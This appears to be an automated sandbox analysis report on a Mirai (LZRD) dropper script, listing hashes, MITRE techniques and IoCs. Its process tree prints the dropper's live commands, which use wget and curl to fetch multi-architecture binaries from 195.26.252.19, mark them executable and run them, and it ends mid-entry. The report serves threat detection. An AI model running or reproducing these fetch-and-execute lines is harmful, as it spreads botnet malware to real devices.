mirai | c2688b90a1a2a5833e5ae2615d293da746c03c300413e39a14ff40ecc332c7f1

Analysis

max time kernel
139s
max time network
151s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
23-12-2024 02:22

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

ohshit.sh
Size

3KB
MD5

8cadf8766bc5de0f7f7df9bf000cd0aa
SHA1

fa6c2f9c7a20a3c1c6831d859d4b809aadf49567
SHA256

c2688b90a1a2a5833e5ae2615d293da746c03c300413e39a14ff40ecc332c7f1
SHA512

8859f146c24023b97e34f53eda375ce9a0df64037806c86271d00a596a37097afbb7cfa4ffe1df2d58b4ed252fb048277ae8c3fc304be1551a33541390c8bac2

Score

10^/10

mirai lzrd botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1601	chmod
1529	chmod
1571	chmod
1591	chmod
1499	chmod
1541	chmod
1581	chmod
1611	chmod
1489	chmod
1509	chmod
1519	chmod
1621	chmod
1482	chmod
1551	chmod
1561	chmod

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/Chaotic	1483	Chaotic
/tmp/Chaotic	1490	Chaotic
/tmp/Chaotic	1500	Chaotic
/tmp/Chaotic	1510	Chaotic
/tmp/Chaotic	1520	Chaotic
/tmp/Chaotic	1530	Chaotic
/tmp/Chaotic	1542	Chaotic
/tmp/Chaotic	1552	Chaotic
/tmp/Chaotic	1562	Chaotic
/tmp/Chaotic	1572	Chaotic
/tmp/Chaotic	1582	Chaotic
/tmp/Chaotic	1592	Chaotic
/tmp/Chaotic	1602	Chaotic
/tmp/Chaotic	1612	Chaotic
/tmp/Chaotic	1622	Chaotic

Modifies Watchdog functionality 1 TTPs 28 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 28 IoCs

description	ioc	Process
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/fstream-5.dat	upx

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/458/status	Chaotic
File opened for reading	/proc/171/status	Chaotic
File opened for reading	/proc/153/status	Chaotic
File opened for reading	/proc/155/status	Chaotic
File opened for reading	/proc/1520/status	Chaotic
File opened for reading	/proc/31/status	Chaotic
File opened for reading	/proc/461/status	Chaotic
File opened for reading	/proc/1555/status	Chaotic
File opened for reading	/proc/1100/status	Chaotic
File opened for reading	/proc/8/status	Chaotic
File opened for reading	/proc/1547/status	Chaotic
File opened for reading	/proc/469/status	Chaotic
File opened for reading	/proc/1249/status	Chaotic
File opened for reading	/proc/1059/status	Chaotic
File opened for reading	/proc/506/status	Chaotic
File opened for reading	/proc/14/status	Chaotic
File opened for reading	/proc/31/status	Chaotic
File opened for reading	/proc/428/status	Chaotic
File opened for reading	/proc/1510/status	Chaotic
File opened for reading	/proc/699/status	Chaotic
File opened for reading	/proc/1166/status	Chaotic
File opened for reading	/proc/1148/status	Chaotic
File opened for reading	/proc/1130/status	Chaotic
File opened for reading	/proc/169/status	Chaotic
File opened for reading	/proc/451/status	Chaotic
File opened for reading	/proc/466/status	Chaotic
File opened for reading	/proc/1587/status	Chaotic
File opened for reading	/proc/1144/status	Chaotic
File opened for reading	/proc/1525/status	Chaotic
File opened for reading	/proc/1175/status	Chaotic
File opened for reading	/proc/462/status	Chaotic
File opened for reading	/proc/1166/status	Chaotic
File opened for reading	/proc/1028/status	Chaotic
File opened for reading	/proc/253/status	Chaotic
File opened for reading	/proc/8/status	Chaotic
File opened for reading	/proc/938/status	Chaotic
File opened for reading	/proc/506/status	Chaotic
File opened for reading	/proc/10/status	Chaotic
File opened for reading	/proc/1130/status	Chaotic
File opened for reading	/proc/1309/status	Chaotic
File opened for reading	/proc/10/status	Chaotic
File opened for reading	/proc/473/status	Chaotic
File opened for reading	/proc/1462/status	Chaotic
File opened for reading	/proc/1503/status	Chaotic
File opened for reading	/proc/1575/status	Chaotic
File opened for reading	/proc/1022/status	Chaotic
File opened for reading	/proc/429/status	Chaotic
File opened for reading	/proc/993/status	Chaotic
File opened for reading	/proc/1049/status	Chaotic
File opened for reading	/proc/1500/status	Chaotic
File opened for reading	/proc/17/status	Chaotic
File opened for reading	/proc/1235/status	Chaotic
File opened for reading	/proc/331/status	Chaotic
File opened for reading	/proc/1/status	Chaotic
File opened for reading	/proc/17/status	Chaotic
File opened for reading	/proc/166/status	Chaotic
File opened for reading	/proc/429/status	Chaotic
File opened for reading	/proc/1617/status	Chaotic
File opened for reading	/proc/1133/status	Chaotic
File opened for reading	/proc/36/status	Chaotic
File opened for reading	/proc/28/status	Chaotic
File opened for reading	/proc/440/status	Chaotic
File opened for reading	/proc/1028/status	Chaotic
File opened for reading	/proc/162/status	Chaotic

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1516	wget
1517	curl
1526	wget
1527	curl

Writes file to tmp directory 30 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.sparc	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arc	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.i686	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mips	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.ppc	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.sh4	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mips	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.ppc	wget
File opened for modification	/tmp/busybox	cp
File opened for modification	/tmp/Chaotic	ohshit.sh
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm6	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86_64	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mpsl	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.m68k	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.sh4	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arc	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mips64	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm7	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm7	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86_64	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm6	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.m68k	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.i686	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mpsl	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm5	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm5	curl

/tmp/ohshit.sh
/tmp/ohshit.sh
1⤵
- Writes file to tmp directory
PID:1465
- /bin/cp
  cp /bin/busybox /tmp/
  2⤵
  - Writes file to tmp directory
  PID:1469
- /usr/bin/wget
  wget http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  - Writes file to tmp directory
  PID:1470
- /usr/bin/curl
  curl -O http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  - Writes file to tmp directory
  PID:1480
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  PID:1481
- /bin/chmod
  chmod +x busybox Chaotic config-err-d1U8bY netplan_q4owmhud ohshit.sh snap-private-tmp ssh-7YtxyD3VLmUW systemd-private-5ec902bda5ef4de78002cd739cd7d80b-bolt.service-9uwbcQ systemd-private-5ec902bda5ef4de78002cd739cd7d80b-colord.service-zDaCdX systemd-private-5ec902bda5ef4de78002cd739cd7d80b-ModemManager.service-5IRDgC systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-resolved.service-j1HE9Z systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-timedated.service-XnJRGT ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  - File and Directory Permissions Modification
  PID:1482
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:1483
- /usr/bin/wget
  wget http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  - Writes file to tmp directory
  PID:1485
- /usr/bin/curl
  curl -O http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  - Writes file to tmp directory
  PID:1487
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  PID:1488
- /bin/chmod
  chmod +x busybox Chaotic config-err-d1U8bY netplan_q4owmhud ohshit.sh snap-private-tmp ssh-7YtxyD3VLmUW systemd-private-5ec902bda5ef4de78002cd739cd7d80b-bolt.service-9uwbcQ systemd-private-5ec902bda5ef4de78002cd739cd7d80b-colord.service-zDaCdX systemd-private-5ec902bda5ef4de78002cd739cd7d80b-ModemManager.service-5IRDgC systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-resolved.service-j1HE9Z systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-timedated.service-XnJRGT ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  - File and Directory Permissions Modification
  PID:1489
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1490
- /usr/bin/wget
  wget http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1496
- /usr/bin/curl
  curl -O http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1497
- /bin/chmod
  chmod +x busybox Chaotic config-err-d1U8bY netplan_q4owmhud ohshit.sh snap-private-tmp ssh-7YtxyD3VLmUW systemd-private-5ec902bda5ef4de78002cd739cd7d80b-bolt.service-9uwbcQ systemd-private-5ec902bda5ef4de78002cd739cd7d80b-colord.service-zDaCdX systemd-private-5ec902bda5ef4de78002cd739cd7d80b-ModemManager.service-5IRDgC systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-resolved.service-j1HE9Z systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-timedated.service-XnJRGT ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1499
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1500
- /usr/bin/wget
  wget http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.i686
  2⤵
  - Writes file to tmp directory
  PID:1506
- /usr/bin/curl
  curl -O http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.i686
  2⤵
  - Writes file to tmp directory
  PID:1507
- /bin/chmod
  chmod +x busybox Chaotic config-err-d1U8bY netplan_q4owmhud ohshit.sh snap-private-tmp ssh-7YtxyD3VLmUW systemd-private-5ec902bda5ef4de78002cd739cd7d80b-bolt.service-9uwbcQ systemd-private-5ec902bda5ef4de78002cd739cd7d80b-colord.service-zDaCdX systemd-private-5ec902bda5ef4de78002cd739cd7d80b-ModemManager.service-5IRDgC systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-resolved.service-j1HE9Z systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-timedated.service-XnJRGT ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1509
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1510
- /usr/bin/wget
  wget http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1516
- /usr/bin/curl
  curl -O http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1517
- /bin/chmod
  chmod +x busybox Chaotic config-err-d1U8bY netplan_q4owmhud ohshit.sh snap-private-tmp ssh-7YtxyD3VLmUW systemd-private-5ec902bda5ef4de78002cd739cd7d80b-bolt.service-9uwbcQ systemd-private-5ec902bda5ef4de78002cd739cd7d80b-colord.service-zDaCdX systemd-private-5ec902bda5ef4de78002cd739cd7d80b-ModemManager.service-5IRDgC systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-resolved.service-j1HE9Z systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-timedated.service-XnJRGT ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1519
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1520
- /usr/bin/wget
  wget http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips64
  2⤵
  - System Network Configuration Discovery
  PID:1526
- /usr/bin/curl
  curl -O http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips64
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1527
- /bin/chmod
  chmod +x busybox Chaotic config-err-d1U8bY netplan_q4owmhud ohshit.sh snap-private-tmp ssh-7YtxyD3VLmUW systemd-private-5ec902bda5ef4de78002cd739cd7d80b-bolt.service-9uwbcQ systemd-private-5ec902bda5ef4de78002cd739cd7d80b-colord.service-zDaCdX systemd-private-5ec902bda5ef4de78002cd739cd7d80b-ModemManager.service-5IRDgC systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-resolved.service-j1HE9Z systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-timedated.service-XnJRGT ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1529
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1530
- /usr/bin/wget
  wget http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1538
- /usr/bin/curl
  curl -O http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1539
- /bin/chmod
  chmod +x busybox Chaotic config-err-d1U8bY netplan_q4owmhud ohshit.sh snap-private-tmp ssh-7YtxyD3VLmUW systemd-private-5ec902bda5ef4de78002cd739cd7d80b-bolt.service-9uwbcQ systemd-private-5ec902bda5ef4de78002cd739cd7d80b-colord.service-zDaCdX systemd-private-5ec902bda5ef4de78002cd739cd7d80b-ModemManager.service-5IRDgC systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-resolved.service-j1HE9Z ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1541
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1542
- /usr/bin/wget
  wget http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm
  2⤵
  - Writes file to tmp directory
  PID:1548
- /usr/bin/curl
  curl -O http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm
  2⤵
  - Writes file to tmp directory
  PID:1549
- /bin/chmod
  chmod +x busybox Chaotic config-err-d1U8bY netplan_q4owmhud ohshit.sh snap-private-tmp ssh-7YtxyD3VLmUW systemd-private-5ec902bda5ef4de78002cd739cd7d80b-bolt.service-9uwbcQ systemd-private-5ec902bda5ef4de78002cd739cd7d80b-colord.service-zDaCdX systemd-private-5ec902bda5ef4de78002cd739cd7d80b-ModemManager.service-5IRDgC systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-resolved.service-j1HE9Z ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1551
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1552
- /usr/bin/wget
  wget http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm5
  2⤵
  - Writes file to tmp directory
  PID:1558
- /usr/bin/curl
  curl -O http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm5
  2⤵
  - Writes file to tmp directory
  PID:1559
- /bin/chmod
  chmod +x busybox Chaotic config-err-d1U8bY netplan_q4owmhud ohshit.sh snap-private-tmp ssh-7YtxyD3VLmUW systemd-private-5ec902bda5ef4de78002cd739cd7d80b-bolt.service-9uwbcQ systemd-private-5ec902bda5ef4de78002cd739cd7d80b-colord.service-zDaCdX systemd-private-5ec902bda5ef4de78002cd739cd7d80b-ModemManager.service-5IRDgC systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-resolved.service-j1HE9Z ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1561
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1562
- /usr/bin/wget
  wget http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm6
  2⤵
  - Writes file to tmp directory
  PID:1568
- /usr/bin/curl
  curl -O http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm6
  2⤵
  - Writes file to tmp directory
  PID:1569
- /bin/chmod
  chmod +x busybox Chaotic config-err-d1U8bY netplan_q4owmhud ohshit.sh snap-private-tmp ssh-7YtxyD3VLmUW systemd-private-5ec902bda5ef4de78002cd739cd7d80b-bolt.service-9uwbcQ systemd-private-5ec902bda5ef4de78002cd739cd7d80b-colord.service-zDaCdX systemd-private-5ec902bda5ef4de78002cd739cd7d80b-ModemManager.service-5IRDgC systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-resolved.service-j1HE9Z ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1571
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1572
- /usr/bin/wget
  wget http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm7
  2⤵
  - Writes file to tmp directory
  PID:1578
- /usr/bin/curl
  curl -O http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm7
  2⤵
  - Writes file to tmp directory
  PID:1579
- /bin/chmod
  chmod +x busybox Chaotic config-err-d1U8bY netplan_q4owmhud ohshit.sh snap-private-tmp ssh-7YtxyD3VLmUW systemd-private-5ec902bda5ef4de78002cd739cd7d80b-bolt.service-9uwbcQ systemd-private-5ec902bda5ef4de78002cd739cd7d80b-colord.service-zDaCdX systemd-private-5ec902bda5ef4de78002cd739cd7d80b-ModemManager.service-5IRDgC systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-resolved.service-j1HE9Z ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1581
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1582
- /usr/bin/wget
  wget http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.ppc
  2⤵
  - Writes file to tmp directory
  PID:1588
- /usr/bin/curl
  curl -O http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.ppc
  2⤵
  - Writes file to tmp directory
  PID:1589
- /bin/chmod
  chmod +x busybox Chaotic config-err-d1U8bY netplan_q4owmhud ohshit.sh snap-private-tmp ssh-7YtxyD3VLmUW systemd-private-5ec902bda5ef4de78002cd739cd7d80b-bolt.service-9uwbcQ systemd-private-5ec902bda5ef4de78002cd739cd7d80b-colord.service-zDaCdX systemd-private-5ec902bda5ef4de78002cd739cd7d80b-ModemManager.service-5IRDgC systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-resolved.service-j1HE9Z ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1591
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1592
- /usr/bin/wget
  wget http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.sparc
  2⤵
  PID:1598
- /usr/bin/curl
  curl -O http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.sparc
  2⤵
  - Writes file to tmp directory
  PID:1599
- /bin/chmod
  chmod +x busybox Chaotic config-err-d1U8bY netplan_q4owmhud ohshit.sh snap-private-tmp ssh-7YtxyD3VLmUW systemd-private-5ec902bda5ef4de78002cd739cd7d80b-bolt.service-9uwbcQ systemd-private-5ec902bda5ef4de78002cd739cd7d80b-colord.service-zDaCdX systemd-private-5ec902bda5ef4de78002cd739cd7d80b-ModemManager.service-5IRDgC systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-resolved.service-j1HE9Z ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.sparc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1601
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1602
- /usr/bin/wget
  wget http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.m68k
  2⤵
  - Writes file to tmp directory
  PID:1608
- /usr/bin/curl
  curl -O http://195.26.252.19/HideChaotic/ub8ehJSePAfc9FYqZIT6.m68k
  2⤵
  - Writes file to tmp directory
  PID:1609
- /bin/chmod
